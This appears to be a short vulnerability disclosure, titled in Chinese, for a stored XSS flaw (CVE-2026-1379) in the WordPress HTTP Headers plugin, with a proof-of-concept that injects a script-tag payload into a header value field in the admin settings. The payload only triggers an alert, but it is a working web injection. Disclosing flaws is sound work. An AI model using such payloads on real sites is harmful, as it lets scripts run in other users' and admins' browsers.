CVE-2026-1379 WordPress HTTP Headers插件存储型XSS漏洞

<!-- PoC for CVE-2026-1379 Target: WordPress HTTP Headers Plugin <= 1.19.2 --> <script> // Simulating the payload injection // Step 1: Attacker navigates to Admin Dashboard > HTTP Headers > Settings // Step 2: Inject the following payload into a manual header value field var payload = '"><script>alert("CVE-2026-1379_Exploited")</script>'; // Step 3: Save the settings. // The payload is stored in the database without proper sanitization. // Step 4: When any user (including admins) visits the settings page again, // the browser executes the script due to lack of output escaping. console.log("Payload injected: " + payload); </script>